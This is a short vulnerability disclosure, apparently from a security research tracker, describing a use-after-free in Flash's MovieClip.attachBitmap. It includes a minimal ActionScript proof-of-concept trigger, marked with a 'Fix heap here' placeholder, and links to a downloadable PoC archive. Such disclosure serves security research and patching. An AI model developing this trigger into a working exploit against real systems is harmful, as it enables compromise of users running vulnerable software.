Source: https://code.google.com/p/google-security-research/issues/detail?id=593

There is a use-after-free in MovieClip.attachBitmap. If the depth parameter is an object with valueOf defined, this method can free the MovieClip, which is then used.

A minimal PoC follows:

this.createEmptyMovieClip("mc", 1);
var b = new flash.display.BitmapData(100, 100, true, 0x77777777);
mc.attachBitmap( b, {valueOf : func });

function func(){

	mc.removeMovieClip();

        // Fix heap here

        return 5;

	}



Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39040.zip